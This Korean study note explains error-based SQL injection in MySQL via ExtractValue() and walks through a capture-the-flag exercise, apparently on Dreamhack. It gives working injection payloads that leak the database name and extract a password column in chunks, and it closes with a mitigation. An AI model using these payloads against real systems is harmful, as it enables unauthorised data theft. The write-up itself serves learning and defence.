개념정리
Error based sql injection
에 대해서 알아보자.
○ Error based sql injection
Error based SQL Injection
은 에러를 발생시켜서 데이터베이스 및 운영 체제의 정보를 획득하는 공격 기법이다.
Error based SQLi
는 쿼리 실행 결과로 에러가 발생했을 경우, 에러가 화면에 출력되는 시나리오에서 발생할 수 있는 취약점이다.
만약, 애플리케이션에서 발생하는 에러를 이용해 공격하려 한다면 문법 에러와 같이 DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임 (Runtime) 시점에 발생해야한다.
즉, 쿼리가 실행되고 나서 발생하는 에러(논리적 에러)가 필요하다.
대표적으로 mysql에서는 ExtractValue()
를 이용해서 Error based sql injection
을 트리거한다.
예제를 보자.
SELECT extractvalue(1,concat(0x3a,version()));
extractvalue()
를 통해 DB 버전을 확인하는 페이로드다.
extractvalue()
가 에러가 발생하는 원리를 살펴보면, 1번째 인자로 전달된 XML에서 2번째 인자인 XPATH 식을 통해 데이터를 추출한다.
만약, 2번째 인자가 올바르지 않은 XPATH 식일 경우에는 올바르지 않은 XPATH 식이라는 에러 메시지와 함께 잘못된 식을 출력한다.
즉, 2번째 인자가 올바른 XPATH 식이 아니므로 에러메세지에 version()
이 출력되는 것이다.
SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
올바른 XPATH 식의 예제는 위와 같다.
Error base SQLi
를 방지하려면, 기존 SQLi에 대한 보안 대책 외에도 에러메세지를 화면에 출력하지않도록 조치하는 것이 중요하다.
문제분석 & 풀이
쿼리문과 함께 uid를 입력할 수 있는 폼이 주어진다.
1' and ExtractValue(1,concat(0x01,([실행할 쿼리문])))--[공백]
개념정리
에서 알아본 것처럼 ExtractValue()
를 이용해서 임의의 쿼리를 실행하고 결과를 에러메세지로 출력할 수 있다.
1' and ExtractValue(1,concat(0x01,database()))--[공백]
database()
를 에러 메세지 결과로 나오도록 쿼리문을 작성하고 전송했다.
[그림]와 같이 users
라는 DB명이 나오는 것을 확인할 수 있다.
1' and ExtractValue(1,concat(0x01,(select group_concat(upw) from user)))--[공백]
다음으로 upw
를 구하기 위해 쿼리문을 작성하고 전송했다.
실행 결과로 flag가 짤려서 나온다.
출력되는 자릿수에 제한이 있는 듯하다. 따라서 substring()
으로 자릿수를 나눠서 출력해야 될 것 같다.
1' and ExtractValue(1,concat(0,(select substring(upw,{i},10) from user limit 0,1)))--[공백]
1' AND extractvalue(rand(),concat(0x3a,(select substring(upw,{i},20) from user limit 0,1)))--[공백]
위와 같이 쿼리문을 작성했다.
upw 값의 i
번째 인덱스부터 10자리만을 잘라서 출력한다는 의미이다.
이렇게 10자리씩 차례대로 출력하고 flag를 모으면 획득할 수 있다.
reference
[dreamhack] [WHA] ExploitTech: Error & Time based SQL Injection